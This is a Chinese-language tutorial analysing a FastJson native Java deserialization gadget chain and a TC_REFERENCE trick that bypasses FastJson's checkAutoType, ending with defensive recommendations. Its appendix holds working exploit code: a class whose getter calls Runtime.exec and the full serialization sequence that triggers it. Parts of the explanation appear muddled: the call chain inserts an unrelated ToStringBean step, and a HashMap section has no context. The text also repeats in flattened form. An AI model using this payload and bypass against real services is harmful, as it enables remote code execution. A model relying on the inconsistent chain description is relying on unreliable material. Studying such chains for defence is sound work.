fastjson原生反序列化链分析
字数 2055 2025-08-29 08:30:18

FastJson原生反序列化链深入分析与教学文档

前言

FastJson原生反序列化链与之前分析的FastJson解析JSON数据时的利用链有本质区别:

  • 传统FastJson利用链:通过构造恶意JSON数据,利用FastJson解析过程中的漏洞(涉及1.2.24-1.2.80等版本的绕过和额外依赖)
  • 原生反序列化链:利用FastJson内部函数调用关系,结合Java原生反序列化机制进行攻击

核心利用原理

基本攻击链

  1. 入口点:利用BadAttributeValueExpException对象的readObject方法
  2. 调用链
    • BadAttributeValueExpException.readObject()
    • 调用ToStringBean.toString()
    • 由于val字段是JSONArray对象,会调用JSONArray.toString()
    • JSONArray没有toString()方法,转而调用JSON.toString()
    • JSON.toString()调用自身的toJSONString()方法
    • toJSONString()能够调用任意类的getter方法
    • 最终触发目标对象(如template)的getOutputProperties()方法

关键点解析

  1. BadAttributeValueExpException的作用

    • 作为反序列化的入口点
    • readObject方法会触发toString()调用链
  2. JSONArray的特殊处理

    • 没有自己的toString()方法,导致调用链转向JSON.toString()
    • 这种间接调用是绕过某些限制的关键
  3. getter方法调用机制

    • FastJson的toJSONString()会自动调用对象的getter方法
    • 这是最终执行恶意代码的关键环节

详细调用栈分析

典型调用栈示例

1. A.getName() [自定义恶意方法]
2. ASMSerializer_1_A.write() [FastJson生成的ASM序列化器]
3. JSON.write() [FastJson核心序列化方法]
4. JSON.toJSONString() [触发getter方法调用]
5. JSONArray.toString() [间接调用]
6. ToStringBean.toString() [中间转换]
7. BadAttributeValueExpException.readObject() [反序列化入口]
8. ObjectInputStream.readObject() [Java原生反序列化]

关键调试发现

  1. HashMap的角色

    • 当key设置为空时,反序列化会失败
    • 必须正确构造key-value对才能成功触发调用链
  2. BadAttributeValueExpException内部处理

    • 通过ObjectInputStream.readFields读取属性值
    • 递归调用readObject0方法处理嵌套对象
  3. JSONArray的反序列化

    • 最终调用com.alibaba.fastjson.JSONArray.readObject
    • 内部使用SecureObjectInputStream进行安全检查

绕过安全检查机制

核心问题

当尝试反序列化被JSONArray嵌套的类时:

  • FastJson会将ObjectInputStream封装为SecureObjectInputStream
  • 这会触发checkAutoType检查,可能导致反序列化失败

绕过方法

  1. 提前序列化技术

    • BadAttributeValueExpException之前序列化目标类
    • 利用TC_REFERENCE机制(对象已被写入序列化流)
    • 这样会进入readHandle()而非readOrdinaryObject()
    • 从而绕过checkAutoType检查
  2. 关键payload结构

    // 正确顺序
    serialized_A_object
    serialized_BadAttributeValueExpException_object
    
  3. 检查机制差异

    • 普通类(如A类):使用标准ObjectInputStream.resolveClass
    • 嵌套在JSONArray中的类:使用SecureObjectInputStream.resolveClass

完整攻击流程总结

  1. 构造恶意对象

    • 创建包含恶意getter方法的类(如A
    • 将其实例放入JSONArray
  2. 构建调用链

    • JSONArray设置为BadAttributeValueExpExceptionval属性
    • 确保在序列化流中先序列化恶意类,再序列化BadAttributeValueExpException
  3. 绕过安全检查

    • 利用TC_REFERENCE机制避免checkAutoType检查
    • 确保恶意类在安全检查前已被加载
  4. 触发执行

    • 反序列化时自动触发完整调用链
    • 最终执行恶意getter方法中的代码

防御建议

  1. FastJson安全配置

    • 更新至最新版本
    • 启用safeMode模式
    • 严格配置autoTypeCheck白名单
  2. Java反序列化防护

    • 使用ObjectInputFilter限制反序列化类
    • 替换不安全的反序列化实现
  3. 代码审计重点

    • 检查所有readObject实现
    • 特别注意toString()和getter方法的调用链

附录:关键代码片段

恶意类示例

public class A {
    private String name;
    
    // 恶意getter方法
    public String getName() {
        // 恶意代码执行
        Runtime.getRuntime().exec("calc");
        return name;
    }
}

Payload构造关键

// 1. 创建恶意对象
A a = new A();

// 2. 构建JSONArray
JSONArray jsonArray = new JSONArray();
jsonArray.add(a);

// 3. 设置BadAttributeValueExpException
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(bad, jsonArray);

// 4. 序列化时确保顺序
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(a);  // 先序列化恶意对象
oos.writeObject(bad); // 再序列化BadAttributeValueExpException
oos.close();

安全检查绕过原理

// SecureObjectInputStream.resolveClass实现片段
protected Class<?> resolveClass(ObjectStreamClass desc) 
    throws IOException, ClassNotFoundException {
    String className = desc.getName();
    // 严格的autoType检查
    if (!TypeUtils.isSafeClass(className)) {
        throw new InvalidClassException("autoType is not support. " + className);
    }
    return super.resolveClass(desc);
}

通过本教学文档,您应该深入理解了FastJson原生反序列化链的工作原理、利用方法和防御策略。在实际应用中,务必谨慎处理反序列化操作,并实施严格的安全措施。

FastJson原生反序列化链深入分析与教学文档 前言 FastJson原生反序列化链与之前分析的FastJson解析JSON数据时的利用链有本质区别: 传统FastJson利用链:通过构造恶意JSON数据,利用FastJson解析过程中的漏洞(涉及1.2.24-1.2.80等版本的绕过和额外依赖) 原生反序列化链:利用FastJson内部函数调用关系,结合Java原生反序列化机制进行攻击 核心利用原理 基本攻击链 入口点 :利用 BadAttributeValueExpException 对象的 readObject 方法 调用链 : BadAttributeValueExpException.readObject() 调用 ToStringBean.toString() 由于 val 字段是 JSONArray 对象,会调用 JSONArray.toString() JSONArray 没有 toString() 方法,转而调用 JSON.toString() JSON.toString() 调用自身的 toJSONString() 方法 toJSONString() 能够调用任意类的getter方法 最终触发目标对象(如 template )的 getOutputProperties() 方法 关键点解析 BadAttributeValueExpException的作用 : 作为反序列化的入口点 其 readObject 方法会触发 toString() 调用链 JSONArray的特殊处理 : 没有自己的 toString() 方法,导致调用链转向 JSON.toString() 这种间接调用是绕过某些限制的关键 getter方法调用机制 : FastJson的 toJSONString() 会自动调用对象的getter方法 这是最终执行恶意代码的关键环节 详细调用栈分析 典型调用栈示例 关键调试发现 HashMap的角色 : 当key设置为空时,反序列化会失败 必须正确构造key-value对才能成功触发调用链 BadAttributeValueExpException内部处理 : 通过 ObjectInputStream.readFields 读取属性值 递归调用 readObject0 方法处理嵌套对象 JSONArray的反序列化 : 最终调用 com.alibaba.fastjson.JSONArray.readObject 内部使用 SecureObjectInputStream 进行安全检查 绕过安全检查机制 核心问题 当尝试反序列化被 JSONArray 嵌套的类时: FastJson会将 ObjectInputStream 封装为 SecureObjectInputStream 这会触发 checkAutoType 检查,可能导致反序列化失败 绕过方法 提前序列化技术 : 在 BadAttributeValueExpException 之前序列化目标类 利用 TC_REFERENCE 机制(对象已被写入序列化流) 这样会进入 readHandle() 而非 readOrdinaryObject() 从而绕过 checkAutoType 检查 关键payload结构 : 检查机制差异 : 普通类(如A类):使用标准 ObjectInputStream.resolveClass 嵌套在 JSONArray 中的类:使用 SecureObjectInputStream.resolveClass 完整攻击流程总结 构造恶意对象 : 创建包含恶意getter方法的类(如 A ) 将其实例放入 JSONArray 构建调用链 : 将 JSONArray 设置为 BadAttributeValueExpException 的 val 属性 确保在序列化流中先序列化恶意类,再序列化 BadAttributeValueExpException 绕过安全检查 : 利用 TC_REFERENCE 机制避免 checkAutoType 检查 确保恶意类在安全检查前已被加载 触发执行 : 反序列化时自动触发完整调用链 最终执行恶意getter方法中的代码 防御建议 FastJson安全配置 : 更新至最新版本 启用 safeMode 模式 严格配置 autoTypeCheck 白名单 Java反序列化防护 : 使用 ObjectInputFilter 限制反序列化类 替换不安全的反序列化实现 代码审计重点 : 检查所有 readObject 实现 特别注意 toString() 和getter方法的调用链 附录:关键代码片段 恶意类示例 Payload构造关键 安全检查绕过原理 通过本教学文档,您应该深入理解了FastJson原生反序列化链的工作原理、利用方法和防御策略。在实际应用中,务必谨慎处理反序列化操作,并实施严格的安全措施。